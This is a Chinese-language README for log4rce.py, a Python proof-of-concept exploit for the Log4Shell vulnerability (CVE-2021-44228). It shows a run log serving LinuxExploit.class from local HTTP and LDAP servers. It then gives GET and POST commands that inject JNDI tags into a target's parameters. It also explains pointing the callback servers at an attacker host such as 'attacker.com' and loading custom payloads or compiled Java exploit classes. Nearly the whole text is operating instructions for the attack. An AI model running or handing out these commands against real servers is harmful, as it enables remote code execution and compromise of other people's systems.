一个用于CVE-2021-44228的全能纯Python3 PoC。
> python3 log4rce.py --target "linux" --payload "PAYLOAD" http -X POST --url "http://localhost:8080/" --data "address=###"
INFO:HTTP:Running on local port 1337
INFO:HTTP:Remote target is http://127.0.0.1:1337/LinuxExploit.class
INFO:LDAP:Running on local port 1387
INFO:Log4J:Sending payload to http://localhost:8080/
INFO:LDAP:Query from ('127.0.0.1', 42554)
INFO:HTTP:Request from ('127.0.0.1', 55328) to /LinuxExploit.class
INFO:Log4J:Done!
这是一个CLI工具。所有选项可在帮助菜单中找到:
python3 log4rce.py --help
列表相当广泛,因此下面将为您总结功能。
该工具允许您使用几种攻击模式。这些攻击是Log4RCE类的扩展。
您可以对目标URL执行自动化的HTTP请求攻击。
您可以按如下方式执行GET请求:
python3 log4rce.py http --url "http://www.vuln.com:1234/?vuln_param=###¶m=123" --headers="P1=123&P2=123"
您可以按如下方式执行POST请求:
python3 log4rce.py http -X POST --url "http://www.vuln.com:1234/" --data "vuln_param=###¶m=123" --headers="P1=123&P2=123"
以上操作会将JNDI标签注入到###中。
如果无法使用上述模式,请使用此模式来获取JNDI标签:
python3 log4rce.py manual
该工具允许对大多数网络配置进行广泛的定制。所有内部服务器都可以修改为指向不同的位置,以适配远程设置。
您可以使用以下参数配置HTTP服务器:
python3 log4rce.py --http_port 1234 --http_rport 12345 --http_host "attacker.com"
http_port: The local port to run the server on.
http_rport: The port that a remote machine accesses.
http_host: The host name/IP a remote machine accesses.
您可以使用以下参数配置LDAP服务器:
python3 log4rce.py --ldap_port 1234 --ldap_rport 12345 --ldap_host "attacker.com"
ldap_port: The local port to run the server on.
ldap_rport: The port that a remote machine accesses.
ldap_host: The host name/IP a remote machine accesses.
该工具可以处理一些自定义设置。以下列出了一些您可能感兴趣的功能。
您可以使用以下命令将payload注入到Java类中:
python3 log4rce.py --payload "PAYLOAD"
payload将被注入到"###"字符串中。
您可以使用以下命令构建自己的Java类:
javac -source 1.7 -target 1.7 /path/to/Exploit.java
生成的.class文件可以使用以下命令运行:
python3 log4rce.py --java_class "/path/to/Exploit.class" ...
注意:您可以添加一个字符串"###"以允许payload注入。